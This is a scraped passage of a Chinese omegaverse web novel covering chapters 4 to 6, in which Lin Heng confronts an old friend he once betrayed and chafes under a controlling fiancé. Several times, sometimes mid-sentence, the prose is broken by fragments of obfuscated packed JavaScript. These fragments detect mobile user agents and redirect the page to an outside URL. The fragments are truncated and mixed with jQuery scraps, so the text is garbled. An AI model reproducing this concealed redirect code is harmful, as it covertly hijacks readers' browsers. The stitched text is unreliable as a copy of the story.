d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396612|184304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起了播报声:“请去服务台领取纸质体检报告……” 林衡回过神来,速速冲江耀清点头示意:“先去取报告单了,回见。” 说罢,他一阵风似地离开了休息室,直到身后的门锁咔哒一声,才一顿一顿地吐气。 这阵广播简直是及时雨…… 林衡揉了揉脸,走向服务台,出乎意料的是,服务台后空无一人,唯有一沓纸页规矩地收拢在文件夹里,放在大理石台的边沿上。 想必这便是他的报告了。 林衡自顾自地翻开封面,在看清第一行字的瞬间,他的视线突地一跳,眉毛不可置信地挑得高高的。 『姓名:江耀清』 …… 这竟是江耀清的体检单? 应该是拿错了,要赶快换回来才行…… 林衡步履匆匆,折身返回候诊室。 这段路不长,不过三分钟的脚程,可不知为何,他却越走越吃力,好不容易安定的心没来由地狂跳起来,激烈得令他有些想吐。 林衡慢慢在走廊里站定了,食指略微抽搐了一下,指甲刮过文件夹的磨砂外壳。 摩擦声很钝,一挫一挫,仿佛听得见颗粒震动的微微声响。 鬼使神差,他垂下眼皮,视线碰巧落在纸页探出的一角上。 某个不甚光彩的念头在脑海中逐渐滋生,现下已膨胀到避无可避的地步。 江耀清的报告单上……写了什么呢…… 他犹豫了半秒,双眼飞速扫过空荡荡的走廊,确定无人后,便大步拐进洗手间,轻声带上门,背对着墙壁囫囵翻阅起来。 纸页的碎响在空间里反复回荡,气氛鬼鬼祟祟,简直像是在做贼。 侵犯他人隐私实在是为人不耻,但心底有个刺耳的声音一直在重复着,他要看、他该看、他必须看……他必须了解江耀清的健康状况。 因为七年前,是他害得耀清…… 林衡的目光蓦地定在了第三页的表格上。 三秒钟后,他的手忽然颤抖起来,浑身的肌肉惊骇地缩紧,连嘴唇都发白了。 『……腺体曾遭受高频次电击,致使局部烧灼坏损,并于六年前接受腺体修复手术,目前仍存在易感期紊乱、信息素异常等后遗症,且可能损害……』 林衡丢了魂似的,愣愣地消化了一阵,继续拨动着纸张,翻到下一页。 霎时间,一丝刺痛感爬上了他的食指。 纸页太锋利,他的皮肤被划破了。 咔嗒—— 是门把手转动的声音。 林衡一个激灵,下意识站直了,他立刻夹起报告,埋着头匆匆出了门。 和门外那人擦肩而过时,他嗅到了一线淡淡的啫喱水味。 发情期的Omega,五感格外敏锐,他忍不住抽了下鼻子,向对方扫了一眼。 那人动作比他更快,黑色呢子衣虚虚一晃,门扉便砰地关严了。 宽阔的肩膀、拳击手似的体格、若有似无的啫喱水味…… 或许是直觉作祟,他竟觉得那人有些眼熟。 林衡没继续想下去,他大步流星地原路折返,穿过回声隐隐的走廊,拧开休息室大门,想也不想地走进玻璃窗投下的一片光亮里。 室内的寒暄中止了,视线齐齐投向面色苍白、呼吸急促的林衡。 林衡的喉结动了下,像正竭力克制着什么:“耀清,报告拿错了,这份是你的……” “好……” 江耀清伸手接过,在指尖触到文件夹的一瞬,颤抖的三个字吹进了他的耳廓: “对不起……” 湿湿的三个音节,像雨滴在下落。 林衡瑟瑟地动着唇,浑身的肌肉紧绷到发疼,胃袋痉挛般绞紧了。 □□分明极端痛苦,可在字句出口的刹那,他的大脑却嗡地一声,累积经年的负罪感飞灰般溃散,让他短暂地卸下了枷锁,像跌进了云层,陷入茫茫的失重。 意味不明的致歉,真是极不负责。 可他太卑劣,竟感到了瞬息的解脱。 江耀清的呼吸似乎顿了下。 他稍稍用力,向后轻拽,文件夹缓缓从林衡的指腹间抽离,边沿在空气中隐微地震动。 他没看他,草草翻了下报告,目光蓦地悬停在纸张侧边,静止不动了。 他的视线末端,是林衡划破的手指留下的细小血印。 林衡两颊忽地发热发烫,颈子上血管砰砰地跳动。 ——他发觉他偷看报告了。 4. 阻隔剂 啪地一声,江耀清合拢了封面,随手甩给了身后的秘书:“把误拿的报告还给他。” 没等林衡回应,唐助理倒是抢先一步,半个身子挤过了来:“好的好的,给我就好……” 江总的秘书是个人精,他飞速揣摩着老板的心思,笑嘻嘻地避开了唐助理的手:“没事,哪好意思麻烦唐助理呢……” 唐助理心里发苦,闻如峰叮嘱过他,务必要看紧这份文件:“嗨,麻烦什么……帮林先生拿东西而已,是我应该做的……” “在这些微末小事上,唐助理已经足够敬业了。倒是在更重要的方面,该多加留意。” 江耀清忽然开口了,他两手抄进口袋里,没什么表情地笑笑: “林先生身上沾了Alpha的信息素,从进门起我就发觉了,让他这样出现在大庭广众下,不太妥当吧?” 林衡一怔,登时变了脸色。 他在闻如峰的信息素里浸淫久了,所以不曾察觉,经耀清提醒,他才意识到自己身上满是未婚夫的味道。 这非常不妥当,一个浑身沾满Alpha信息素的未婚Omega招摇过市,毫无疑问是在告知所有人,他和某人春宵一度。 唐助理支支吾吾:“啊,真抱歉,是我疏忽了……我对信息素非常不敏感……” 真是拙劣至极的谎话。 林衡没时间兴师问罪:“不好意思,有阻隔剂吗?” “有。” 江耀清向右侧动了动下巴。 他的秘书立刻打开了公文包,殷勤地向林衡献上:“有的,林先生,在这里……” 嗡、嗡、嗡—— 是手机振动的声音。 江耀清看了眼腕表:“有个线上短会,我先走一步……唐助理,帮我向闻总带个好。” “好的好的,江总慢走,今天多谢您帮忙,明晚酒会上见……” 唐助理忙不迭地送人,被江总面无表情地盯了一阵,冷汗都快要下来了。 林衡却没动,他的眼珠一瞬不瞬,怔怔地对着掌心里银亮的铝瓶发呆。 『腺体曾遭受高频次电击,致使局部烧灼坏损……』 粘了血的报告单忽然在脑中一闪而过。 愧疚感如火焰般熊熊焚烧,让林衡焦灼不安,胸膛里渐渐凝聚起前所未有的勇气。 他欠他一个交代。 砰—— 关上门后,唐助理长长地松了口气:“林先生,咱们差不多可以去精神科……” “等下。” 林衡猛地拔了阻隔剂的盖子,拇指按住喷口,嗤地一声,空中腾起一团白雾。 他以最快的速度从头喷到脚:“你在这里等我,我去把阻隔剂还给耀清。” 林衡大步冲出休息室,他先是快走,再是小跑,甚至不愿等下一班电梯,直接奔向了一楼大厅。 “耀清……” 在他摇晃起伏的视线里,那道军绿的身影停在了旋转门边,脚尖向左侧一偏,别过头来望了一眼。 喧闹的大厅只安静了一刹,转瞬便恢复了嘈杂。 林衡顶着他似有似无的目光,紧张得嘴里发苦:“一分钟……耽误你六十秒,不好意思……” 江耀清逆光而立,黯淡的阴影遮住他英俊的面容,脸上的神情有些朦胧。 他单手将耳机收回充电仓,向身边的秘书比了个手势。 秘书心领神会,立刻双手接过手机,小跑着离开,替老板接听线上会议。 林衡长舒一口气,他踉跄地跨过海海人潮,有人在排队取药、有人在通电话、有人在长椅上等候……每个人都困在自己的生老病死中,没有人留意他们,就像大海中的水滴不会关心其他水滴。 当他停在耀清面前时,世界奇妙地拉下了卷帘门,旧友的目光如同无形的障壁,耳中的一切都不真切了,他只能听见血管隆隆的搏动声。 他仍是不敢看江耀清,便紧盯那人身后天空上的白斑,是一轮炽烈的日头,半秒不到,他便眼酸泛泪,不自然地屈了下眉毛。 “谢谢你,耀清,给你添麻烦了……” 他的声音闷闷的,双手拘谨地前伸,犹豫着递出了阻隔剂。 瓶身在掌心里攥了太久,外壳变得温热,甚至附着些微的薄汗。 “还有,对不起……” 抖出那三个字时,他的唇有些发麻,舌缝里是满满的苦味。 可他仍在继续,他克制住齿关的战栗,和强烈的退意搏斗着:“七年前,在深红谷地,是我的错,害你遭受了非人的折磨,对不起……” 没有回应。 眼珠盯着亮斑太久,视野中甚至生出了重重虚影。凌厉的线条火灼一般,让目之所及的一切都在白光里焚烧。 眩晕感锐利得失真。 他的耳中响起不置可否的一声:“只是这样?” 林衡动了下酸胀的眼睑,昏昏然地看向江耀清的脸孔。 “你我之间,是一笑泯恩仇的关系吗?” 林衡的心被重重地撞了下。 视网膜上红亮的光晕,让他脑中缭乱一片,瞬时跌回了七年前的那个雨夜。 堆在脚下的白浴巾,沐浴后发烫的皮肤,湿漉漉的黑短发不住地滴水,雷霆和暴雨在窗外伴奏…… 那是他和江耀清初见的夜晚,十五岁的少年满怀戒备,锃亮的黑眼睛警惕地盯着他。 潮润的风将白纱帘吹得摇曳不止,在落地灯幽幽的影子里,林衡温声细语地解开了两人间的误会,将塑封的暗红邀请函递进了少年的手心。 “……我没骗你,你要去的夏令营,深红谷地,我替你申请了名额,不好意思。” 林衡吮了下发干的唇面,柔和地扬起嘴角:“一笑泯恩仇,好不好?” 少年仔细地读着邀请函上的字句,一遍又一遍,过了好久,才倒扣过去,看也不看他:“嗯。” 从此之后,耀清对他彻底信任,直到他被林衡骗到矿区四院,被四名身穿棕黑制服的壮汉拖进了一扇生锈的大门。 还是“一笑泯恩仇”的关系吗? “对不起……我愿意承担你全部的治疗费用,包括你遭受的精神创伤。如果未来你会留在银城,我会竭尽所能,为你找最好的医生……” 林衡强压下脸上颤抖的肌肉,深深地呼吸:“我知道这番弥补来得太迟了,现在旧事重提,是在打扰你平静的生活……只要还清费用,我会尽可能少出现在你面前……” “时间到了。” 江耀清出声打断了。 他看向林衡攥在掌心里的铝瓶,扫了一眼便收回目光。 “阻隔剂不用还了。我还有事,回见。” 他向林衡点头示意,随即便迈出了旋转门,明晃晃的玻璃掀起一阵透明的浪,将他的身形卷了进去,让对话终结在刺目的光灿里。 林衡怔怔地放下手臂,呆滞几秒后,下意识地看向手中的银色瓶身。 凌乱潮湿的指印在强光下格外清晰。 林衡脸一热,立刻用袖管擦了个干净。 再抬起头时,已经看不到江耀清的身影了,唯有光斑在玻璃上微微摇晃。 他说“回见”,是会找机会和自己面谈吗…… 他会接受林衡迟来七年的弥补吗? 如果可以,林衡希望一次性付清款项,干脆地消失在对方的生活中。 他有婚约在身,他怕自己对耀清再生出别的心思,既然注定不会有结果,不如互不打扰…… 叮—— 口袋里的手机忽然震动。 是来自网友“瑶池”的V信消息。 他的脑中忽地闪过“瑶池”未婚夫出轨的经历。 或许是罪恶感作祟,握在掌心里的瓶子莫名地有些烫手。 林衡缓缓吐气,步履沉沉地走回贵宾候诊室。 路过转角时,他甩了甩手腕,将江耀清的阻隔剂掷进了垃圾桶。 * 晚上七点三十分,芳泉餐厅。 服务生端来了法式煎羊排,又为两位客人添了柠檬水,随后静悄悄地躬身退离了包厢。 闻如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396613|184304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 峰靠在椅背里,翻阅着搭在桌沿的体检报告,安静的室内唯有纸页翻动的声响。 前菜和主菜上了一桌,他却连叉子都没碰过。他不开动,林衡便只能静坐,对着餐点蒸腾的白汽发呆。 不算松弛的气氛在沉默里慢慢绞紧了。 读完一份,还有一份。 闻如峰仔仔细细地看完了精神科的报告单:“检查结果这一栏,写得很模糊啊……” “医生说你可能在性别分化期受了强刺激,导致你产生了创伤后应激障碍,或是信息素恐惧症,因此对Alpha的信息素极端排斥……所以到底是什么病呢?” “看诊的医生说,是信息素恐惧症的概率更高。她不是这方面的专家,建议我去A大附属医院,挂腺体科大专家陈丽才的号。” “嗯,没关系,去腺体科查查也好,精神科的量表的结果不见得百分百可信,毕竟人的感觉瞬息万变、有真有假……” 这话听着意味深长。 仿佛在质疑林衡填表造假。 闻如峰撂下文件,抬眉看林衡一眼,有些惊讶道:“哎?怎么一直在等我?真不好意思,别客气,快吃……” 这话令人不太舒服。 林衡不信一个频繁应酬的商人,会不懂基本的餐桌礼仪。 分明是故意晾着他,给他脸色瞧。 林衡没兴趣和对方打太极,直接打开天窗说亮话: “关于信息素恐惧症,这七年来,我的确没发觉。我的家人是Beta和Omega,同学们也都配戴颈环或喷洒阻隔剂,有时会接触到Alpha信息素残留,因为浓度低,所以没到极端排斥的地步。没想到接触高浓度Alpha信息素时,我的生理反应会这么激烈,实在抱歉。但从始至终,我都没有过欺骗的打算。” 闻如峰摆了摆手,叉子无意间碰上了酒杯,叮的一声:“哪里话,你多虑了。现在是文明社会,不暴露信息素是基本的社交礼仪,如果没有恋爱经验,确实难以接触到异性的信息素。” 说罢,他笑了下:“当然了,我就是喜欢你的简单清纯。” 这句让人更不舒服了,仿佛林衡只是个干净可靠的妻子。 “说得很对,随意暴露信息素,确实不太礼貌。今天我去医院,身上满是你的信息素,你的唐助理却装聋作哑,还是偶遇的江耀清出言提点,借了我阻隔剂。” 林衡没碰餐盘,只是呷了口柠檬水,道:“爱侣间的私隐,没必要在人前展览。带着另一半的气味招摇过市,折了我的面子,自然也是折你的面子。我建议往后换个助理来接送我,最好是对信息素敏感些的,能在身边提醒一下,你觉得呢?” 林衡很清楚,助理都是人精,小唐之所以不提醒他,自然是闻如峰授意的。 他大概能揣测出背后的动机——闻如峰昨夜试图亲热却遭拒,于是大男子主义作祟,想昭告天下,林衡是他的人。 同时,这也是针对林衡的一种服从性测试。 他想试探林衡的底线究竟在哪里。 “有道理,小唐这次确实疏忽了,我会罚他好好反省。” 闻如峰有数了,他一边切羊排,一边换了个话头:“听小唐说,你和江总是旧相识?下午简单聊了几句?” 林衡心里一动,回应却很平淡:“没错,认识。” “哦?怎么认识的?” “两家有点关系。” “再具体一点?” “他妈妈和我妈是朋友。江阿姨来银城工作,让耀清在我家住过一阵。” “那你和江总应该是好朋友?” “很久没联络了。现在是点头之交。” “因为他出国了?就断了联系?” “怎么了?” “有事麻烦你帮忙。” 闻如峰仍是笑,却不再是皮笑肉不笑。 他将切好的羊排殷勤地送进了林衡的盘子里:“这段时间,多和江总叙叙旧。他刚回国,没什么朋友,正是缺人陪的时候,你嘴甜一点,打打感情牌,帮我搞定江总。” 5. 午夜场 一时间,林衡几乎疑心自己幻听了。 他的未婚夫,竟派他去哄别的Alpha? 这是试探?是圈套? 见林衡的眉梢古怪地蹙了起来,闻如峰仍是挂着笑,温声解释道: “唐助理应该和你介绍了,江总是德通药业的董事,而德通是我的大客户,最近还为我介绍了融资。要是能和江总攀点私交,对公司未来的发展而言,可谓是如虎添翼。” “我理解,但我和耀清早就生疏了。聊感情没什么可聊的,聊工作我不懂医药公司的业务。” 林衡不愿介入:“如果有需要伴侣陪同的场合,我自然会陪你出席。但若是专门的私人招待,还是派你的高管去吧,从天南海北聊到公司业务再到同舟共济……不比闻太太出马强多了?” “我试过,但江耀清是出了名的公私分明,非必要的应酬都推给手下人,个人爱好也从不透露,平时深居简出,能搭上线的只有寥寥无几的老朋友。” 闻如峰按响了桌边铃:“我明白,和断联七年的旧相识贸然约见,确实会无所适从。你只管放心,我会为你们搭个台阶,若是真聊不到一块儿去,那就算了。记得今早我在电话里说过,明晚要带你去酒会吗?” “嗯,唐助理还带我去挑了新西装。” “明晚江总也在,借这个机会,你们好好攀谈,联络下感情。刚刚你说他曾经在你家住过一段时间,想必和林阿姨也很熟?不如顺势约他抽时间去你家坐坐……” “不,恐怕不太方便。” 林衡忽然出声打断了:“耀清和我父母……相处得不太融洽,也因为这层缘由,我们分开后便断了联系……” 闻如峰眉毛一挑:“那不太好办啊,明晚的酒会,我还请了你父母……” 咚、咚、咚—— 包厢的门被轻轻叩响了。 服务生推着银亮的餐车进了门,精巧的三层蛋糕端坐在中央,干冰的白气四下缭绕,远远望去,像浸在云雾中的城堡。 闻如峰摆了摆食指:“把菜都撤了吧,我未婚妻没什么胃口,吃蛋糕吧。” “好。” 服务生手脚麻利,将一桌没动过的菜肴堆进餐车底层,接着小心翼翼地捧起蛋糕,放在方桌中央,又贴心地倒了红酒,嗤地一声点了蜡烛。 黯淡烛光里,蛋糕上的糖霜折射着冰冷的光泽,厚重的拉花像天鹅绒帷幔,边缘的坚果如凹凸的鹅卵石……令人联想起中世纪的堡垒,庄严、华贵、阴森。 “今天是我们相识三十天的纪念日,我特意订了蛋糕,开心果口味,是你最喜欢的。” 林衡一怔,忽地笑了起来。 “你记错了,如峰。今天是第二十九天,而且我从没说过我喜欢开心果。” 何止是不喜欢,甚至是非常讨厌。 真是太讽刺了。 “哦?这样吗?没关系,就当提前庆祝了,毕竟明晚我们还有其他应酬。” 闻如峰浑不在意,同服务生指示道:“切蛋糕。” 当盛着蛋糕的小托盘被推到面前时,林衡忍不住皱了下鼻子,开心果味道太浓郁,让他胃里有些翻腾。 “纪念日的第一口蛋糕,就请未来的闻太太先尝。” 闻如峰十指交叠,唇角挂着笑,深深地瞧着他。 若是拒绝,就太不给面子了。 林衡搭着眼皮,捏起细细的叉子,尖端从厚厚的奶油上切下。 他想着“城堡”这个譬喻,中世纪领主的宅邸中,总会有座地牢,关押着犯罪的佃农、下仆、和不听话的美人。 独断专行的闻如峰,他的婚姻,会是这样一座堡垒吗? 奶油在舌尖上融化的滋味,令林衡腮边的肌肉不自觉地抽搐起来。 灯影太暗,闻如峰似乎没有察觉,他兴致不错,晃了晃高脚杯里的红酒,一饮而尽。 接下来的一个钟头,两人你来我往,喝到微醺,饮下最后半杯时,闻如峰闲闲地撑着头,隔着酒杯的玻璃曲面盯着他,乌黑的眼瞳被放得硕大。 像某种意味不明的审视。 “小衡,当另一半夸你‘简单清纯’,你却不开心的时候,知道最聪明的回应方式是什么吗?” 他吐字黏连,慢悠悠道:“是顺势而为,撒个娇,嗔怪他夸得不到位,罚他再夸几句,夸到你满意为止……” ——而不是试图回击,闹得双方都不愉快。 说罢,他向林衡懒散地举杯。 * 『……看完你的体检单,你未婚夫发脾气了?』 晚上十点钟,林衡窝在床上,顶着半湿的发丝,回复“瑶池”的消息: 『暗讽了两句,点到即止。是我不好,没发现隐藏的疾病,客观上给他造成了困扰』 『他问过你的病因吗?』 『报告上写了,我在分化期遭受了强烈的惊吓和信息素刺激。』 『我想问的是,他问过你在分化期究竟遭遇了什么吗?他有了解过你的创伤,并试图宽慰你吗?』 林衡愣住了,缓缓地眨了眨眼睛。 『没有。』 他和他聊明晚的酒会,聊闻家的生意现状,甚至聊了江耀清,但林衡的事,他始终没多问一句。 『看来你的未婚夫对你没多少感觉』 “瑶池”一针见血道:『如果你只是个毫无背景的Omega,不能为他的事业提供任何帮助,恐怕他已经打算退婚了吧?』 真是有够直白。 能说出这种话来,想必“瑶池”不是闻如峰派来的人。 林衡叹了口气,他擦干了头发,躺在床上按键:『也许吧,但没什么好苛责的,因为我也没能主动靠近他、了解他、关心他。』 林衡沉默了好一会儿,他静静地复盘着未婚夫的相处,字斟句酌道:『实话实说,我也有不对的地方。』 『从相识到现在,我一直打心底里抗拒这桩婚事,感情的进度条几乎是零,但两人的下半生却快被绑定了,这就催生了极大的戒备感。两人都想得利,也都怕被骗,最终的恶果就是今晚的剑拔弩张——谁也不了解谁,谁也不信任谁,只是在互相试探底线。』 『这样僵持不下,没什么意义,我打算主动做那个破冰的人』 过了好久,“瑶池”才回复道:『能和你订婚,是件幸运的事』 林衡苦笑:『如果我能在未来爱上他的话,确实能成为一个及格的伴侣』 『嗨,总比我的未婚妻强,今天周日一大早,就去咖啡店和情夫幽会了』 『你还没下定决心摊牌吗?』 『下定决心了,但在摊牌之前,我要搜集更多的证据』 『你雇私家侦探了?』 『没错,想开了之后,我甚至故意给他们制造独处的机会。兴许他在暗暗窃喜吧,但那些见不得人的丑事,其实被一丝不漏地拍下了。这堆不堪入目的照片,在摊牌的那一天,我会狠狠地甩在他脸上』 林衡的表情略微凝滞了。 大抵是问心有愧,他的脑中竟忽然闪过未婚夫的那句:“明晚江耀清也在,借这个机会,你们好好攀谈,联络下感情……” 或许问心有愧的人,哪怕听闻半点风吹草动,都怀疑是捉奸的预告。 滴—— 耳中隐隐传来防盗门开合的电子音。 闻如峰回家了。 晚餐结束后,闻如峰还有工作,便马不停蹄地赶去了办公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396614|184304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室。 这让林衡有些惭愧——未婚夫公事缠身,难得抽时间陪他过纪念日,或许自己的态度该柔和些的。 这样想着,林衡迅速起身下床,系好睡袍直奔客厅。 这间位于市中心的大平层足足三百平,他踢踢踏踏了好一会儿才转到玄关处,看见了正在通电话的未婚夫。 见到林衡身影的刹那,闻如峰眉梢一动,当即按灭了手机,扣在玄关台面上。 他俯身换鞋,声音是带着笑的:“怎么突然来接我了?” 林衡上前几步,面对面地替他解风衣的排扣:“看你工作太忙,心疼了,以前妈妈回家很晚,我也会主动来接她的……” 原来念出预备好的台词,一点都不难,只要不看对方的眼睛就可以。 闻如峰任他摆弄,瞧着白嫩的手指尖拨来拨去:“嗯,从今往后,你我就是一家人了,你的心里要多记挂一个人了。” 是句情话,有点刻意。 见氛围烘托得甜蜜,林衡便顺势邀约:“这周一到周五,明达影院承办了法国艺术电影展,我本想约你去放松放松,没想到你这么忙……” “好,我们周五去看电影。” 闻如峰一侧的唇角勾了下:“午夜场。” 林衡应了声,他没意识到这是句调情,直到对方拢住他的手,牵着他一点点抽开风衣的腰带。 布料与布料窸窣地摩擦,声音在安静的空间里不断放大。 皮肤传导过来的温度,让林衡嘴唇一抖,掌心霎时便泌出了细汗。 他下意识地将头埋得更低,掩藏着青白惊惧的脸色。 太古怪了,脑中有尖锐的声音在啸叫,他们还太陌生了,这样太古怪了…… 这个暗示意味极强的动作,激起的鸣响与触感直接作用在他的神经上,那滋味诡异至极,仿佛有毛刺刺的东西在脊椎上爬,让头皮一阵阵地发寒发麻。 他不该推一整支抑制剂的,剂量太大,让他对Alpha的排斥更强烈了。 “害羞了?” 闻如峰捏了下林衡滑润的指尖,捞到下颌边,用唇面碰了碰。 当湿热的吐息吹在指节上时,林衡战栗起来,全部心神都凝结在扑面而来的气味上。 有烟焦油味,淡淡的,还有香水味,浓郁刺鼻,像杂糅了几种香型,浑浊异常。 幸好打了足量的抑制剂,令他能强作平静地忍受碰触。 就当自己是人偶、是花瓶、是木头。 一片刻了“闻太太”三个字的木头。 “对了小衡,明天你提前些来我公司,五点钟到……” 闻如峰留恋地松开手:“关于明天的酒会安排,我们需要花点时间,提前对好。” 林衡脸色惨白,眼珠动了下,嘴里应道:“明天是周一,我有实习安排,是华锐集团的数据分析岗……我会和leader请一小时的假,提前下班。” “嗯,很好。” 闻如峰单手挂好风衣,见林衡有些为难,不由得笑了声:“怎么,请假有心理压力?一份实习而已,没什么大不了的。” 他揉了揉林衡的头,以年长者的姿态指点着:“学生啊,还是太单纯……你很在乎实习证明?让你妈开一张不就好了?或者你大可以来我公司……” ——不,我不需要实习证明傍身,更不想开口让妈妈帮忙。 林衡想订正对方的说辞,但见如峰一脸轻描淡写,话到嘴边,又默默咽下了。 关系刚刚回温,没必要引发新的争吵,让努力付之东流。 他的耳畔又回荡起父亲三令五申的那句:“……小事而已,当忍则忍吧。” 林衡低着头,心不在焉地嗯了一声。 6. 男朋友 下午四点半,林衡搁在后排座椅上的手机振动了下,深灰色的皮面传来嗡的一声。 『青天大老爷:小衡,阿程,明达影院承办了法国艺术电影展,今晚是《欲在今宵》主创团队的座谈会,位置就在华锐集团大楼附近,我有票,要不要跟我一起去?@独木成林@不加班』 ——是来自学姐陶青的V信消息。 『不加班:不去,晚上有约』 林衡也回得飞快:『我也去不成,今晚有事,已经提前下班了』 屏幕对面的陶青一愣,顶着“包青天”头像的她连发好几个问号: 『青天大老爷:???不是吧小衡,华锐的数据工程师,而且是包转正的实习名额,这可是你击败了将近两百名候选人才赢来的机会,你刚入职三天就提前下班了?不怕给你leader留下坏印象吗?』 林衡苦笑,慢吞吞地打字:『家里举办的商业酒会,我必须去露个面,拒绝不了,没办法』 “青天大老爷”更诧异了:『啊?你以前可不是这样的,无论你爸妈怎么威逼利诱,你都不肯陪他们应酬,莫非你现在想通了,不去华锐打工了,打算跟着你妈学做生意了?』 林衡一时语塞,不知该怎么解释。 他的目光停在三人群的群名上——“金窝银窝不如自己的狗窝”。 林衡、陶青、程秋意,这三人都家境优渥,却出于各自的原因,坚决地搬出了自家的豪宅,摆脱了长辈的控制,自己负担起了自己的生活。 被人捏住经济命脉,就会被逼着去做不想做的事。 去应酬、去接班、去自己讨厌的领域打转一辈子,每天为股票涨跌、巨额债务和千百个员工的饭碗操心…… 林衡不愿,便用实际行动来表明态度、划清界限。 他和家里为数不多的经济牵扯,就是市中心的那套三百平的大平层。房子一直闲置着,放假时他偶尔去住一阵,却住得有点别扭,一直盘算着工作几年攒点钱,给自己购置一套小公寓。 本以为羽翼丰满后,便能飞离暴君的手掌心。 ……算了。 林衡戳开学姐的“包青天”头像,同她私聊道:『我不是陪爸妈见客户,是陪未婚夫出席酒会。放心,吃顿饭而已,业务上的事我不掺和。』 『青天大老爷:陪你未婚夫?好吧,偶尔请假没关系,别太过频繁,耽误实习就麻烦了。』 陶青一向快人快语:『别怪我多嘴,小衡,某些家世显赫、霸道古板的Alpha,非常痛恨自己的Omega脱离掌控,不允许他们拥有自己的事业,甚至会千方百计地搅黄对方的工作……就我的所见所闻,这样的情况不在少数。』 陶青虽只大他两岁,是个在读的博士生,但她的专业是纪录片,从本科起就扛着设备天南海北地闯荡,可谓是世事洞明、人情练达。 林衡也有自己的盘算:『我明白,学姐,订婚前双方家庭就商量好了,他们不会干预我的事业,这是我的底线,我绝对不会妥协』 『好,那我就放心了,你随便编个借口吧,在群里回两句,免得阿程担心你』 『好,今晚的电影展你好好享受,记得往在群里发点照片,《欲在今宵》的导演我很喜……』 “林先生……” 驾驶位传来一声提醒,轿车在红绿灯路口缓缓停下了:“还有五分钟,就到万峰大厦了。” 万峰药业,是闻家的产业,新一任掌舵人便是他的未婚夫,闻如峰。 林衡搭下眼皮,嗯了一声:“知道了,小唐。” 他态度冷淡,根本没有搭话的意思,唐助理只能尬笑两声,松一松卡着脖颈的领带,继续闷声不吭地开车。 昨晚在芳泉餐厅里,林衡和未婚夫提过,唐助理对信息素不敏感,建议换个人负责他的日常接送。 结果第二天一早,林衡就收到了唐助理长长的致歉短信,言辞恳切卑微,看得人压力陡增: “……我已经充分认识到我的失职给您造成的巨大困扰,请您再给我一次机会,如果以后我再犯下类似的低级错误,我会自愿放弃季度奖金,并主动辞职离开万峰……” 密密麻麻的一篇,让林衡深深地皱起了眉头。 不用说,这必然是闻如峰指使的。 变更一下工作安排,给林衡换个助理,不过是一句话的事,可他却不肯如了未婚妻的愿,非要逼着小唐负荆请罪,卑躬屈膝地乞求一次机会。 因为他捏准了林衡心慈,不会为难一介打工人。 这么做到底有什么好处? 除了让唐助理难堪,让林衡烦闷,到底有什么好处? 大概是为了抬高自己的位置,在婚姻关系里压林衡一头。 林衡的后颈靠在皮椅上,他半仰着头,疲惫感如潮水般渐次涌来。 昨晚他放低姿态,主动示好,闻如峰笑眯眯地照单全收,甚至有来有回地调情,可没想到他竟将林衡的要求当做耳旁风,看不出对伴侣的丝毫尊重。 父亲总是教导林衡,夫妻间相处,要大事化小,小事化了。 可以。 当帕拉梅拉驶入停车场时,万峰大厦刺目的玻璃尖角从视野中一扫而过。 这次他可以迁就,但下次、下下次、乃至往后的无穷次,要多好脾气的人才能迁就? 每天不起眼的千百件琐事,是淬炼感情的千百道雄关隘口。 助理开始倒车,车轮缓缓碾入模糊的白线,玻璃上的倒影徐徐后退。 他忽然没有信心与闻如峰永远相敬如宾。 “小衡。” 在停车位等候三分钟后,车门突然弹开了。 西装革履的闻如峰躬身钻进后排,落座的一瞬,西装外套隆起褶皱,衣领处传来浓郁的香水味,银亮的鸢尾花胸针在心口处熠熠发光。 他脸上挂着笑,借着昏暗的地库灯光,仔仔细细地扫视着林衡:“新衣服很衬你,考究贵气,颇有老牌豪门的风范。” 他自然而然地拉过林衡的手,搁在膝上拍了拍:“很不错,优雅得体的未婚妻,是我们闻家的骄傲。” * 然而在今晚七点的酒会上,闻如峰并没有公开他和林衡的关系。 “这位是林家的少爷?幸会幸会,头一次见。” 一位年过半百的老先生亲切地与两人碰杯,金黄色的香槟酒在杯中晶莹地浮动。 老先生做了二十年医疗生意,在国内颇有名气,和闻家长辈私交不错:“如峰啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396615|184304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 